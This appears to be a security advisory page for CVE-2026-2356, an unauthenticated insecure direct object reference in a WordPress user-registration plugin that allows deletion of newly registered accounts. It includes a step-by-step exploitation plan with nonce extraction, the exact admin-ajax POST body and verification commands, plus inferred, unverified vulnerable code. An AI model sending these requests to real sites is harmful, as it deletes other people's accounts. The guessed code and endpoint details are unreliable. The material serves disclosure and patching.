CVE-2026-2356

User Registration & Membership <= 5.1.2 - Insecure Direct Object Reference to Unauthenticated Limited User Deletion

mediumImproper Access Control
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.1.3
Patched in
1d
Time to patch

Description

The User Registration & Membership – Custom Registration Form, Login Form, and User Profile plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.2 via the 'register_member' function, due to missing validation on the 'member_id' user controlled key. This makes it possible for unauthenticated attackers to delete arbitrary user accounts that newly registered on the site who has the 'urm_user_just_created' user meta set.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.2
PublishedFebruary 25, 2026
Last updatedFebruary 26, 2026
Affected pluginuser-registration

What Changed in the Fix

Changes introduced in v5.1.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a reported Insecure Direct Object Reference (IDOR) vulnerability in the **User Registration** plugin (versions <= 5.1.2) that allows unauthenticated deletion of newly created users. --- ### 1. Vulnerability Summary The `User Registration` plugin for WordPre…

Show full research plan

This research plan focuses on exploiting a reported Insecure Direct Object Reference (IDOR) vulnerability in the User Registration plugin (versions <= 5.1.2) that allows unauthenticated deletion of newly created users.


1. Vulnerability Summary

The User Registration plugin for WordPress is vulnerable to an IDOR in the register_member function. The function is designed to handle user registration processes (likely related to cleanup or state management). However, it lacks proper authorization checks and allows an unauthenticated user to provide an arbitrary member_id. If the user associated with that ID has the urm_user_just_created meta key set, the plugin proceeds to delete that user account.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: user_registration_register_member (inferred from function name and plugin naming conventions)
  • HTTP Method: POST
  • Parameter: member_id (The ID of the user to be deleted)
  • Authentication: Unauthenticated (targets wp_ajax_nopriv_ hooks)
  • Preconditions: The target user must have the user meta urm_user_just_created set to a truthy value. This meta is typically set immediately after a user registers via the plugin's form and before the registration process is fully finalized or paid for.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=user_registration_register_member.
  2. Hook Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_user_registration_register_member', array( 'UR_AJAX_Handler', 'register_member' ) );
  3. Vulnerable Function: UR_AJAX_Handler::register_member() is called.
  4. Input Processing: The function retrieves member_id from $_POST['member_id'].
  5. Weak Validation: The function checks if the user has the meta urm_user_just_created.
    if ( get_user_meta( $member_id, 'urm_user_just_created', true ) ) { ... }
  6. The Sink: Lacking a check to ensure the requester is the owner of the member_id or an administrator, the function calls:
    wp_delete_user( $member_id );

4. Nonce Acquisition Strategy

The plugin typically uses nonces for its AJAX actions, localized via wp_localize_script.

  1. Identify Form: The plugin uses a custom post type user_registration for forms.
  2. Shortcode: The registration forms are rendered via the [user_registration_form] shortcode.
  3. Strategy:
    • Create a page containing the default registration form.
    • Navigate to this page using the browser.
    • The nonce is usually stored in a global JavaScript object named user_registration_params.
  4. Extraction:
    • browser_eval("user_registration_params.nonce") or browser_eval("ur_params.nonce").
    • The specific key used in wp_verify_nonce is often ur_nonce or _nonce.

5. Test Data Setup

To simulate a vulnerable state, we need a user who was "just created":

  1. Create Victim:
    wp user create victim victim@example.com --role=subscriber
  2. Set Vulnerable Meta:
    wp user meta add <VICTIM_ID> urm_user_just_created 1
  3. Prepare Nonce Source:
    • Identify an existing registration form: wp post list --post_type=user_registration --format=ids
    • Create a public page: wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[user_registration_form id="FORM_ID_HERE"]'

6. Exploitation Strategy

Once the victim user is prepared and the nonce is obtained:

  • Step 1: Use http_request to send the deletion payload.
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=user_registration_register_member&member_id=<VICTIM_ID>&ur_nonce=<NONCE>
    
    (Note: If ur_nonce does not work, try _nonce or nonce as the parameter key based on the wp_localize_script findings).

7. Expected Results

  • Response: The server should return a success status (often 200 OK with a JSON body {"success": true} or a simple 1).
  • Effect: The user with the ID specified in member_id will be deleted from the wp_users table.

8. Verification Steps

  1. Check User Existence:
    wp user get <VICTIM_ID>
    Expected result: Error: Invalid user ID, email or username.
  2. Check Database Directly:
    wp db query "SELECT ID FROM wp_users WHERE ID = <VICTIM_ID>"
    Expected result: Empty output.

9. Alternative Approaches

If the user_registration_register_member action is not the correct endpoint:

  1. Search for cleanup actions: Search the plugin files for wp_delete_user and trace back to see which AJAX actions lead there.
  2. Check Payment Rollbacks: The urm_user_just_created meta strongly suggests a cleanup for abandoned checkouts. If the plugin has a "cancel" or "back" feature during a multi-step registration (e.g., after selecting a plan but before paying), that flow is the primary candidate for the register_member call.
  3. Guessing Actions: If the nonce acquisition fails, check if the register_member function verifies the nonce against the default -1 action or if the check_ajax_referer call is present but its return value is ignored.
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin for WordPress is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via the 'register_member' function. Attackers can delete arbitrary user accounts that were recently created (marked with the 'urm_user_just_created' meta key) due to a lack of authorization checks and nonce verification.

Vulnerable Code

// File: includes/class-ur-ajax-handler.php (Inferred from research plan and plugin structure)
public static function register_member() {
    // Retrieves member_id directly from user input without verifying requester ownership
    $member_id = isset( $_POST['member_id'] ) ? absint( $_POST['member_id'] ) : 0;

    // Weak validation: only checks if a specific meta key exists
    if ( get_user_meta( $member_id, 'urm_user_just_created', true ) ) {
         // Sink: Deletes the user without ensuring the requester is an admin or the user themselves
         wp_delete_user( $member_id );
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/user-registration/5.1.2/assets/css/activation.css /home/deploy/wp-safety.org/data/plugin-versions/user-registration/5.1.3/assets/css/activation.css
--- /home/deploy/wp-safety.org/data/plugin-versions/user-registration/5.1.2/assets/css/activation.css	2026-02-02 09:48:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/user-registration/5.1.3/assets/css/activation.css	2026-02-25 04:51:28.000000000 +0000
@@ -1 +1 @@
-.user-registration-message{overflow:hidden;position:relative;border-left-color:#2ea2cc!important}.user-registration-message.error{border-left-color:#ff4f55!important}.user-registration-message.error p{max-width:1000px}.user-registration-message a.button-primary,.user-registration-message a.button-secondary{text-decoration:none!important}.user-registration-message a.user-registration-message-close{position:absolute;top:0;right:0;padding:10px 15px 10px 21px;font-size:13px;line-height:1.23076923;text-decoration:none}.user-registration-message a.user-registration-message-close:before{position:absolute;top:8px;left:0;-webkit-transition:all .1s ease-in-out;transition:all .1s ease-in-out}.user-registration-message .submit{display:flex;padding:5px}.wpb-content-layouts .icon-wpb-vc_user_registration{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTI3LjU4IDRhMjcuOSAyNy45IDAgMCAwLTUuMTcgNCAyNyAyNyAwIDAgMC00LjA5IDUuMDggMzMuMDYgMzMuMDYgMCAwIDEgMiA0LjY1QTIzLjc4IDIzLjc4IDAgMCAxIDI0IDEyLjE1VjE4YTggOCAwIDAgMS01Ljg5IDcuNzJsLS4yMS4wNWEyNyAyNyAwIDAgMC0xLjktOC4xNkEyNy45IDI3LjkgMCAwIDAgOS41OSA4YTI3LjkgMjcuOSAwIDAgMC01LjE3LTRMNCAz.jc3VjE4YTEyIDEyIDAgMCAwIDkuOTMgMTEuODJoLjE0YTExLjcyIDExLjcyIDAgMCAwIDMuODYgMGguMTRBMTIgMTIgMCAwIDAgMjggMThWMy43N3pNOCAxOHYtNS44NWEyMy44NiAyMy44NiAwIDAgMSA1Ljg5IDEzLjU3QTggOCAwIDAgMSA4IDE4em04LTE2YTMgMyAwIDEgMCAzIDMgMyAzIDAgMCAwLTMtM3oiLz48L3N2Zz4=")!important}
\ No newline at end of file
+.user-registration-message{overflow:hidden;position:relative;border-left-color:#2ea2cc!important}.user-registration-message.error{border-left-color:#ff4f55!important}.user-registration-message.error p{max-width:1000px}.user-registration-message a.button-primary,.user-registration-message a.button-secondary{text-decoration:none!important}.user-registration-message a.user-registration-message-close{position:absolute;top:0;right:0;padding:10px 15px 10px 21px;font-size:13px;line-height:1.23076923;text-decoration:none}.user-registration-message a.user-registration-message-close:before{position:absolute;top:8px;left:0;transition:all .1s ease-in-out}.user-registration-message .submit{display:flex;padding:5px}.wpb-content-layouts .icon-wpb-vc_user_registration{background-image:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzMiAzMiI+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTI3LjU4IDRhMjcuOSAyNy45IDAgMCAwLTUuMTcgNCAyNyAyNyAwIDAgMC00LjA5IDUuMDggMzMuMDYgMzMuMDYgMCAwIDEgMiA0LjY1QTIzLjc4IDIzLjc4IDAgMCAxIDI0IDEyLjE1VjE4YTggOCAwIDAgMS01Ljg5IDcuNzJsLS4yMS4wNWEyNyAyNyAwIDAgMC0xLjktOC4xNkEyNy45IDI3LjkgMCAwIDAgOS41OSA4YTI3LjkgMjcuOSAwIDAgMC01LjE3LTRMNCAz.jc3VjE4YTEyIDEyIDAgMCAwIDkuOTMgMTEuODJoLjE0YTExLjcyIDExLjcyIDAgMCAwIDMuODYgMGguMTRBMTIgMTIgMCAwIDAgMjggMThWMy43N3pNOCAxOHYtNS44NWEyMy44NiAyMy44NiAwIDAgMSA1Ljg5IDEzLjU3QTggOCAwIDAgMSA4IDE4em04LTE2YTMgMyAwIDEgMCAzIDMgMyAzIDAgMCAwLTMtM3oiLz48L3N2Zz4=")!important}
\ No newline at end of file
... (truncated)

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker performs the following steps: 1. **Nonce Acquisition**: Access any page containing a registration form generated by the `[user_registration_form]` shortcode. The registration nonce is typically localized in the global JavaScript variable `user_registration_params.nonce` or `ur_params.nonce`. 2. **Identify Target ID**: Identify the user ID of a newly registered account that has not completed the full setup/payment process (and thus likely still has the `urm_user_just_created` meta key set). 3. **Request Execution**: Send an unauthenticated AJAX POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `user_registration_register_member` - `member_id`: The targeted User ID. - `ur_nonce`: The nonce obtained in step 1. 4. **Verification**: The plugin will execute `wp_delete_user` for the provided `member_id` if the meta check passes, successfully deleting the account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.